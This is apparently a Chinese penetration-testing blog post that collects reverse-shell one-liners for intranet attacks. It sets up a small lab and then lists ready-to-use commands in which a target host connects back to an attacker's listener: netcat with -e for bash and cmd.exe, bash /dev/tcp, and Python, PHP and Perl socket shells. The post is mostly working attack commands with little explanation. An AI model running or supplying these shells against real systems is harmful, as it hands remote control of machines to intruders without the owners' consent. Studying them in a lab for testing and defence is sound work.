内网渗透|内网渗透（nc反弹shell总结）渗透测试|安全|bash

1、实验环境 Kali:192.168.32.132 //模拟靶机
Windows:192.168.32.1 //模拟公网vps
2、若靶机上存在nc，获取反向shell：

vps攻击机：nc -lvp 9999// 监听9999端口靶机：nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口 nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe// Windows

文章图片

文章图片

3、若靶机上不存在nc，可用如下几种方式进行代替： (1) Bash反弹shell

vps攻击机：nc -lvp 6666 靶机：bash -I >& /dev/tcp/192.168.32.1/6666 0>&1

文章图片

文章图片

(2)靶机存在Python环境，Python反弹shell

vps攻击机：nc -lvp 6666 靶机：python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.32.1",6666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]); '

文章图片

文章图片

(3)靶机存在PHP环境，PHP反向shell：

vps攻击机：nc -lvp 6666 靶机：php -r '$sock=fsockopen("192.168.32.1",6666); exec("/bin/sh -i <&3 >&3 2>&3"); '

【内网渗透|内网渗透（nc反弹shell总结）】

文章图片

文章图片

(4)靶机存在Perl环境，Perl反弹shell：

Vps攻击机：nc -lvp 6666 靶机：perl -e 'use Socket; $i="192.168.32.1"; $p=6666; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); }; '